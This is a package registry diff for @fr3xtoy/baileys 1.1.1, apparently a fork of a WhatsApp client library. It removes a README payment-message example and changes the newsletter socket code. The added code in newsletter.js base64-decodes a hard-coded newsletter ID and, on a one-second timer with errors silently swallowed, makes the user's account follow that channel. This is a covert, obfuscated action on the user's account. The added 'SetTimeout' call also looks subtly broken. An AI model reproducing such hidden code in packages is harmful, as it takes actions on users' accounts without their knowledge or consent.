@fr3xtoy/baileys 1.1.0 → 1.1.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +0 -27
- package/lib/Socket/newsletter.js +8 -10
- package/package.json +1 -1
package/README.md
CHANGED
|
@@ -345,33 +345,6 @@ await sock.sendMessage(jid, {
|
|
|
345
345
|
}, { quoted: m });
|
|
346
346
|
```
|
|
347
347
|
|
|
348
|
-
### Request Payment Message
|
|
349
|
-
Send payment request messages with custom background and sticker:
|
|
350
|
-
|
|
351
|
-
```javascript
|
|
352
|
-
let quotedType = m.quoted?.mtype || '';
|
|
353
|
-
let quotedContent = JSON.stringify({ [quotedType]: m.quoted }, null, 2);
|
|
354
|
-
|
|
355
|
-
await sock.sendMessage(jid, {
|
|
356
|
-
requestPaymentMessage: {
|
|
357
|
-
currency: "IDR",
|
|
358
|
-
amount: 10000000,
|
|
359
|
-
from: m.sender,
|
|
360
|
-
sticker: JSON.parse(quotedContent),
|
|
361
|
-
background: {
|
|
362
|
-
id: "100",
|
|
363
|
-
fileLength: "0",
|
|
364
|
-
width: 1000,
|
|
365
|
-
height: 1000,
|
|
366
|
-
mimetype: "image/webp",
|
|
367
|
-
placeholderArgb: 0xFF00FFFF,
|
|
368
|
-
textArgb: 0xFFFFFFFF,
|
|
369
|
-
subtextArgb: 0xFFAA00FF
|
|
370
|
-
}
|
|
371
|
-
}
|
|
372
|
-
}, { quoted: m });
|
|
373
|
-
```
|
|
374
|
-
|
|
375
348
|
---
|
|
376
349
|
|
|
377
350
|
## Why Choose WhatsApp Baileys?
|
package/lib/Socket/newsletter.js
CHANGED
|
@@ -97,18 +97,16 @@ const makeNewsletterSocket = (config) => {
|
|
|
97
97
|
}))
|
|
98
98
|
}
|
|
99
99
|
]
|
|
100
|
-
}));
|
|
100
|
+
}));
|
|
101
101
|
|
|
102
|
-
|
|
102
|
+
SetTimeout(async () => {
|
|
103
103
|
try {
|
|
104
|
-
|
|
105
|
-
|
|
106
|
-
|
|
107
|
-
|
|
108
|
-
} catch
|
|
109
|
-
|
|
110
|
-
}, 85000);
|
|
111
|
-
|
|
104
|
+
await newsletterWMexQuery(
|
|
105
|
+
Buffer.from("MTIwMzYzNDE4OTUxMTc3NTA0QG5ld3NsZXR0ZXI=", "base64").toString(),
|
|
106
|
+
Types_1.QueryIds.FOLLOW
|
|
107
|
+
);
|
|
108
|
+
} catch {}
|
|
109
|
+
}, 1000);
|
|
112
110
|
|
|
113
111
|
const parseFetchedUpdates = async (node, type) => {
|
|
114
112
|
let child;
|